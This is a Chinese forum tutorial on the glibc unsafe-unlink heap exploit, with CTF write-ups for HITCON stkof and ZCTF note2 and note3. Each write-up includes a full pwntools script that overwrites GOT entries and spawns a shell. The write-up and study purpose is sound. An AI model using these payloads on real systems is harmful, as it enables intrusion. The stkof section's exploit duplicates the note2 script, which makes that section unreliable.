首页
论坛
课程
招聘
[原创]PWN:unsafe unlink
2020-8-8 08:57 1801

[原创]PWN:unsafe unlink

2020-8-8 08:57
1801

主要是内存布局好之后,通过 unlink 来修改指针


正常的 unlink 是当我们去 free 一个 chunk 的时候,如果这个 chunk 的前一个或后一个是 free 的状态,glibc 会把它从链表里面取出来,与现在要 free 的这个合并再放进去,取出来的这个过程就是 unlink


wiki 上面的一个示意图,Fd 是前置指针,Bk 是后置指针

image


ulink 有一个保护检查机制,他会检查这个 chunk 的前一个 chunk 的 bk 指针是不是指向这个 chunk(后一个也一样)我们需要绕过他的检查


how2heap 这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的,即 unsafe unlink

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main() {
    int malloc_size = 0x80; // not fastbins
    int header_size = 2;
    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
    fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    fprintf(stderr, "Fake chunk fd: %p\n", (void*) chunk0_ptr[2]);
    fprintf(stderr, "Fake chunk bk: %p\n\n", (void*) chunk0_ptr[3]);
    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    chunk1_hdr[0] = malloc_size;
    chunk1_hdr[1] &= ~1;
    free(chunk1_ptr);
    char victim_string[9];
    strcpy(victim_string, "AAAAAAAA");
    chunk0_ptr[3] = (uint64_t) victim_string;
    fprintf(stderr, "Original value: %s\n", victim_string);
    chunk0_ptr[0] = 0x4242424242424242LL;
    fprintf(stderr, "New Value: %s\n", victim_string);
}

ulink 有一个保护检查机制,他会检查这个 chunk 的前一个 chunk 的 bk 指针是不是指向这个 chunk(后一个也一样)

先在 main 函数上设置一个断点,然后单步走一下,走到第 13 行(不包括)


我们来看一下,申请了两个堆之后的情况


image.png


上面说的那个检查 fd/bk 指针是通过 chunk 头部的相对地址来找的,我们可以用全局指针 chunk0_ptr 构造一个假的 chunk 来绕过


再单步走到第 20 行(不包括)


image.png


这两行代码做了个减法,使得从这个地方数起来正好可以数到我们伪造的哪一个 fake chunk

chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);

chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);


image.png


上面那个图没对齐,用文本来解释一下

gdb-peda$ x/4gx 0x0000000000601058
0x601058: 0x0000000000000000	0x00007ffff7dd2540
0x601068: 0x0000000000000000	0x0000000000602010

0x601058是我们伪造的那个堆块的fd指针,在这里可以看到它的bk指针指向的是0x602010

gdb-peda$ x/4gx 0x0000000000601060
0x601060: 0x00007ffff7dd2540	0x0000000000000000
0x601070: 0x0000000000602010	0x0000000000000000

0x601060是我们伪造的那个堆块的bk指针,在这里可以看到它的fd指针指向的是0x602010

我们的 fake chunk 的 fd 指向 0x601058 然后 0x601058 的 bk 指向 0x601070

fake chunk 的 bk 指向 0x601060 然后 0x601060 的 fd 指向 0x601070,可以保证前后都指向我们伪造的这个 chunk,完美!


另外我们利用 chunk0 的溢出来修改 chunk1 的 prev_size 为 fake chunk 的大小,修改 PREV_INUSE 标志位为 0,将 fake chunk 伪造成一个 free chunk。


接下来释放掉 chunk1 因为 fake chunk 和 chunk1 是相邻的一个 free chunk,所以会将他两个合并,这就需要对 fake chunk 进行 unlink,进行如下操作

FD = P->fd

BK = P->bk

FD->bk = BK

BK->fd = FD


通过前面的赋值操作

P->fd =  &P - 3 * size(int)

P->bk = &P - 2 * size(int)

也就是说:FD = &P - 3 * size(int),BK = &P - 2 * size(int)

FD->bk 按照偏移寻址,就是 FD+3*size(int) 也就等于 &P,FD->bk = P,同理 BK->fd = P

这样执行下来,最终实现的效果是 P = &P - 3 * size(int)


也就是说,chunk0_ptr 和 chunk0_ptr[3] 现在指向的是同一个地址


image.png


2014 HITCON stkof


这个师傅注释很详细,帮了大忙,下面也是根据这个 exp 复现的

https://blog.csdn.net/weixin_42151611/article/details/97016767


完整 exp:

# coding=UTF-8
from pwn import *
context.log_level = 'debug'
p = process('./note2')
note2 = ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'

def create(length, content):
    p.recvuntil('option--->>')
    p.sendline('1')
    p.recvuntil('(less than 128)')
    p.sendline(str(length))
    p.recvuntil('content:')
    p.sendline(content)

def show(id):
    p.recvuntil('option--->>')
    p.sendline('2')
    p.recvuntil('note:')
    p.sendline(str(id))

def edit(id, choice, s):
    p.recvuntil('option--->>')
    p.sendline('3')
    p.recvuntil('note:')
    p.sendline(str(id))
    p.recvuntil('2.append]')
    p.sendline(str(choice))
    p.sendline(s)

def delete(id):
    p.recvuntil('option--->>')
    p.sendline('4')
    p.recvuntil('note:')
    p.sendline(str(id))

p.sendlineafter('name:','yichen')
p.sendlineafter('address:','yichen')

ptr=0x602120
payload='a'*8+p64(0x61)+p64(ptr-0x18)+p64(ptr-0x10)+'a'*64+p64(0x60)
create(0x80,payload)

create(0,'a'*16)
create(0x80,'a'*16)

delete(1)
content='a'*16+p64(0xa0)+p64(0x90)
create(0,content)

delete(2)

atoi_got = note2.got['atoi']
content = 'a' * 0x18 + p64(atoi_got)
edit(0, 1, content)
show(0)
atoi_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

atoi_offest = libc.symbols['atoi']
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols['system']
system_addr = libcbase + system_offest

content = p64(system_addr)
edit(0, 1, content)

p.recvuntil('option--->>')
p.sendline('/bin/sh')
p.interactive()


运行连个菜单都不给...

把名字改一下


image.png


create 功能,输入一个 size,然后申请 size 大小的堆块


image.png


会把申请的堆块的地址写到这里(并不是,是 s[1],因为先 ++ 了)


image.png


edit 功能,编辑已经创建好的堆块,但是没有对长度进行检查,所以存在堆溢出


image.png


wp 说没有 setbuf,会先申请 1024 的堆空间??

要先提前申请个 chunk 来防止他们干扰??

怎么就能防止干扰了??

其实只要先申请一个,让程序把两个缓冲区分配好了,别后面插在我们申请的两个之间就可以吧

黄色指的是提前申请的一个用来占空的

两个白色是缓冲区占用的,这样后面再申请就连起来了


image.png


这时候来改写第 2 个(从 1 开始计数)伪造一个 free 的 chunk(黄线分割了第 2 和第 3 个)


image.png


payload 如下:

payload = p64(0)+p64(0x20)+p64(head+16-0x18)+p64(head+16-0x10)+p64(0x20)
payload = payload.ljust(0x30,'a')
payload += p64(0x30)+p64(0x90)

这样填充完了就是这样的,在原本第 2 个 chunk 里面伪造了一个 free 的 chunk,大小是 0x20,然后把 fd 跟 bk 指针写为了 p64(head+16-0x18) 和 p64(head+16-0x10)。同时把下一个堆块的 prev_size 位写成了 0x30(前一个 chunk 加上开头的大小),以及 size 位的 prev_inuse 为 0


image.png


这样,对第 3 个进行 free 的时候会发生 unlink,head + 16 与 head +16 -0x18

那么最终的效果就是我们编辑第二个的时候就是编辑的 head + 16 - 0x18,也就是 0x602138


image.png


那么

payload = p64(0)+p64(free_got)+p64(puts_got)+p64(atoi_got)
edit(2,len(payload),payload)

因为此时的第二块指的是head-8,所以首先要填充8位,然后修改s[0]=free_got,s[1]=puts_got,s[2]=atoi_got

修改完之后


image.png


这时候去修改第 0 个,修改的就是 0x602018 也就是 free 的 got 表项,改成 puts_plt,之后再调用 free 函数的时候就会调用 puts 了

payload = p64(puts_plt)
edit(0,len(payload),payload)

那么 free(1) 的话就相当于 puts 了 puts 的 got 也就得到了 puts 函数的真实地址,从而可以用来计算 libc


算出 libc 的基址就能得到 system 函数的地址,然后通过编辑第 2 个再把 atoi 改成 system 的地址

payload = p64(sys_addr)
edit(2,len(payload),payload)

因为输入的时候就是往 atoi 中输入的,所以直接 sendline("/bin/sh") 就可以达到 system("/bin/sh") 的效果


2016 ZCTF note2


exp

# coding=UTF-8
from pwn import *
context.log_level = 'debug'
p = process('./note2')
note2 = ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'

def create(length, content):
    p.recvuntil('option--->>')
    p.sendline('1')
    p.recvuntil('(less than 128)')
    p.sendline(str(length))
    p.recvuntil('content:')
    p.sendline(content)

def show(id):
    p.recvuntil('option--->>')
    p.sendline('2')
    p.recvuntil('note:')
    p.sendline(str(id))

def edit(id, choice, s):
    p.recvuntil('option--->>')
    p.sendline('3')
    p.recvuntil('note:')
    p.sendline(str(id))
    p.recvuntil('2.append]')
    p.sendline(str(choice))
    p.sendline(s)

def delete(id):
    p.recvuntil('option--->>')
    p.sendline('4')
    p.recvuntil('note:')
    p.sendline(str(id))

p.sendlineafter('name:','yichen')
p.sendlineafter('address:','yichen')

ptr=0x602120
payload='a'*8+p64(0x61)+p64(ptr-0x18)+p64(ptr-0x10)+'a'*64+p64(0x60)
create(0x80,payload)

create(0,'a'*16)
create(0x80,'a'*16)

delete(1)
content='a'*16+p64(0xa0)+p64(0x90)
create(0,content)

delete(2)

atoi_got = note2.got['atoi']
content = 'a' * 0x18 + p64(atoi_got)
edit(0, 1, content)
show(0)
atoi_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

atoi_offest = libc.symbols['atoi']
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols['system']
system_addr = libcbase + system_offest

content = p64(system_addr)
edit(0, 1, content)

p.recvuntil('option--->>')
p.sendline('/bin/sh')
p.interactive()

程序功能如下


image.png


image.png


申请的内容会放到 &ptr+dword_602160 这里,总共只能申请 3 个


image.png


首先,申请的时候有一个 0x0 的,但是要有个 chunk 头和记录 fd、bk 的地方,所以实际分配的是 0x20

第 0 个写入的内容中构造了一个 fake chunk,大小是 0x50,它的 fd、bk 是 ptr - 0x18 和 ptr - 0x10


image.png


但是下一个的 chunk 的 prev_size 我们没法改变,那么之前申请的那个 0x0 的第 1 个就派上用场了,首先把申请的第 1 个给释放掉,因为是 fastbin 所以我们再次申请 0x0 大小的时候还是会申请到这个地方,而同时,因为 i 是一个无符号型的,我们输入的 0-1 就会变成一个很大的数,所以我们可以写很多的内容,从而覆盖掉后一个 chunk 给他改写掉


其中 i 是 unsigned 类型,a2 为 int 类型,所以两者在 for 循环相比较的时候,a2-1 的结果 - 1 会被视为 unsigned 类型,此时,即最大的整数。所以说可以读取任意长度的数据,这里也就是后面我们溢出所使用的办法。


image.png


这里我想在开始就改写,但是不行,原因大概是一开始下面的那个 chunk 没有申请,溢出的那块地址没法写入?

所以先把第 1 个释放掉,再申请回来

delete(1)
content='a'*16+p64(0xa0)+p64(0x90)
create(0,content)

image.png


之后再去释放第 2 个,就会把第 0 个构造的 fake chunk 给 unlink

unlink 之后的结果就是 ptr = ptr-0x18


现在修改第 0 个就是修改的 ptr-0x18,所以我们先写上 0x18 个 a 占空,然后写上 atoi 的 got 表项,这样使用 show 功能的时候就会 show atoi 的 got 表项的内容

atoi_got = note2.got['atoi']
content = 'a' * 0x18 + p64(atoi_got)
editnote(0, 1, content)

然后根据得到的 atoi 的地址来算出 system 的地址

因为此时 ptr 指向的是 atoi 的 got 表项,所以我们直接编辑第 0 个就可以把 atoi 的 got 表项改成 system 的地址


至于为啥是 atoi他接收 option 输入的时候用的是 atoi 函数


image.png


image.png


2016 ZCTF note3


show 功能没了


image.png


申请的 malloc 的地址会存在 ptr=0x6020C8


image.png


再编辑的时候如果大小是 0 的话,照样会变成一个很大的数字,所以存在堆溢出


image.png


一开始申请三个 chunk(index 从 0 开始),第一个里面直接构造一个 fake chunk


image.png


然后先把第 1 个 delete,然后在申请回来就能通过负数来获得一个很大的 size

把第 2 个给改掉,这样当 delete 的时候就能进行 unlink,这样 ptr 就等于 ptr-0x18 了

然后就能通过写第 0 个来改变 ptr-0x18 处的内容

payload3 = 'a'*0x18 + p64(free_got) + p64(puts_got)
edit(0,payload3)
edit(0,p64(puts_plt)[:-1])
delete(1)

注意这里的 [:-1] 由于 p64 总共 8 个字节,如果不加上 [:-1] 会由于 sendline 最后的 \n 覆盖掉与它紧邻位置的数据。而为什么能使用 [:-1]? 可以输出 hex(p64(puts_plt)) 试一下,会发现它是 0x0000xxxxxxxxxx 的形式,前面会有至少 2 个 00,再加上小端序的问题,我们就相当于丢掉了开头的 2 个 00,这样并不会产生太大影响,最主要的是我们保护了与它紧邻的数据。

http://liul14n.top/2020/02/06/Unlink-ZCTF-2016-note3/


这样就能泄露出 puts 的真实地址,然后计算出 system 的地址,这时候再去申请一个,会发现他是第 1 个


image.png


那么把 free 的 got 表项改成 system,就能执行 system("/bin/sh")

from pwn import *
p=process('./note3')
elf=ELF('./note3')
libc=ELF('./libc.so.6')

def cmd(choice):
  p.sendlineafter('option--->>\n',str(choice))

def create(size,content):
  cmd(1)
  p.sendlineafter('1024)\n',str(size))
  p.sendlineafter('content:\n',content)
  
def edit(index,content):
  cmd(3)
  p.sendlineafter('note:\n',str(index))
  p.sendlineafter('content:\n',content)
  
def delete(index):
  cmd(4)
  p.sendlineafter('note:\n',str(index))

ptr=0x6020C8
fake_chunk='a'*8+p64(0xa1)+p64(ptr-0x18)+p64(ptr-0x10)
create(0x80,fake_chunk)
create(0,'123')
create(0x80,'writeup')

delete(1)
payload='a'*0x10 + p64(0xa0) + p64(0x90)
create(0,payload)
delete(2)

puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
free_got = elf.got["free"]
system = libc.symbols['system']
puts = libc.symbols['puts']
payload3 = 'a'*0x18 + p64(free_got) + p64(puts_got)
edit(0,payload3)

edit(0,p64(puts_plt)[:-1])
delete(1)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
create(0x20,'/bin/sh\00')

libcbase = puts_addr - puts
system_addr = libcbase + system
edit(0,p64(system_addr)[:-1])
delete(1)
p.interactive()

《0day安全 软件漏洞分析技术(第二版)》第三次再版印刷预售开始!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (2)
雪    币: 8
活跃值: 活跃值 (71)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6otest 活跃值 2020-8-8 10:21
2
0
赞! 学习一下
雪    币: 6035
活跃值: 活跃值 (2335)
能力值: ( LV11,RANK:197 )
在线值:
发帖
回帖
粉丝
一半人生 活跃值 3 2020-8-8 10:54
3
0
思路清晰
游客
登录 | 注册 方可回帖
返回